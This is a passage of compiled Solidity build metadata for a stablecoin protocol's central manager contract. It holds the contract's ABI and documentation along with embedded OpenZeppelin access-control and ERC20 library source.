",\"type\":\"address\"}],\"name\":\"setCouponCalculatorAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_debtCouponAddress\",\"type\":\"address\"}],\"name\":\"setDebtCouponAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_dollarMintingCalculatorAddress\",\"type\":\"address\"}],\"name\":\"setDollarMintingCalculatorAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_dollarTokenAddress\",\"type\":\"address\"}],\"name\":\"setDollarTokenAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"debtCouponManagerAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"excessCouponDistributor\",\"type\":\"address\"}],\"name\":\"setExcessDollarsDistributor\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_formulasAddress\",\"type\":\"address\"}],\"name\":\"setFormulasAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_governanceTokenAddress\",\"type\":\"address\"}],\"name\":\"setGovernanceTokenAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_incentiveAddress\",\"type\":\"address\"}],\"name\":\"setIncentiveToUAD\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_masterChefAddress\",\"type\":\"address\"}],\"name\":\"setMasterChefAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_stableSwapMetaPoolAddress\",\"type\":\"address\"}],\"name\":\"setStableSwapMetaPoolAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_sushiSwapPoolAddress\",\"type\":\"address\"}],\"name\":\"setSushiSwapPoolAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_treasuryAddress\",\"type\":\"address\"}],\"name\":\"setTreasuryAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_twapOracleAddress\",\"type\":\"address\"}],\"name\":\"setTwapOracleAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_uarCalculatorAddress\",\"type\":\"address\"}],\"name\":\"setUARCalculatorAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_uarTokenAddress\",\"type\":\"address\"}],\"name\":\"setuARTokenAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stableSwapMetaPoolAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"sushiSwapPoolAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"treasuryAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"twapOracleAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uarCalculatorAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"This should be used as a central access control manager which other contracts use to check permissions\",\"kind\":\"dev\",\"methods\":{\"deployStableSwapPool(address,address,address,uint256,uint256)\":{\"details\":\"From the curve documentation for uncollateralized algorithmic stablecoins amplification should be 5-10\",\"params\":{\"_amplificationCoefficient\":\"amplification coefficient. The smaller it is the closer to a constant product we are.\",\"_crv3PoolTokenAddress\":\"curve 3Pool token Address\",\"_crvBasePool\":\"Address of the base pool to use within the new metapool.\",\"_curveFactory\":\"MetaPool factory address\",\"_fee\":\"Trade fee, given as an integer with 1e10 precision.\"}},\"getRoleAdmin(bytes32)\":{\"details\":\"Returns the admin role that controls `role`. See {grantRole} and {revokeRole}. To change a role's admin, use {_setRoleAdmin}.\"},\"grantRole(bytes32,address)\":{\"details\":\"Grants `role` to `account`. If `account` had not been already granted `role`, emits a {RoleGranted} event. Requirements: - the caller must have ``role``'s admin role.\"},\"hasRole(bytes32,address)\":{\"details\":\"Returns `true` if `account` has been granted `role`.\"},\"renounceRole(bytes32,address)\":{\"details\":\"Revokes `role` from the calling account. Roles are often managed via {grantRole} and {revokeRole}: this function's purpose is to provide a mechanism for accounts to lose their privileges if they are compromised (such as when a trusted device is misplaced). If the calling account had been granted `role`, emits a {RoleRevoked} event. Requirements: - the caller must be `account`.\"},\"revokeRole(bytes32,address)\":{\"details\":\"Revokes `role` from `account`. If `account` had been granted `role`, emits a {RoleRevoked} event. Requirements: - the caller must have ``role``'s admin role.\"},\"setBondingContractAddress(address)\":{\"details\":\"bonding contract participants deposit curve LP token for a certain duration to earn uGOV and more curve LP token\",\"params\":{\"_bondingContractAddress\":\"bonding contract address\"}},\"setTreasuryAddress(address)\":{\"details\":\"the treasury fund is used to maintain the protocol\",\"params\":{\"_treasuryAddress\":\"treasury fund address\"}},\"supportsInterface(bytes4)\":{\"details\":\"See {IERC165-supportsInterface}.\"}},\"title\":\"A central config for the uAD system. Also acts as a central access control manager.\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"deployStableSwapPool(address,address,address,uint256,uint256)\":{\"notice\":\"deploy a new Curve metapools for uAD Token uAD/3Pool\"},\"setBondingContractAddress(address)\":{\"notice\":\"set the bonding bontract smart contract address\"},\"setTreasuryAddress(address)\":{\"notice\":\"set the treasury address\"}},\"notice\":\"For storing constants. For storing variables and allowing them to be changed by the admin (governance)\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/UbiquityAlgorithmicDollarManager.sol\":\"UbiquityAlgorithmicDollarManager\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// 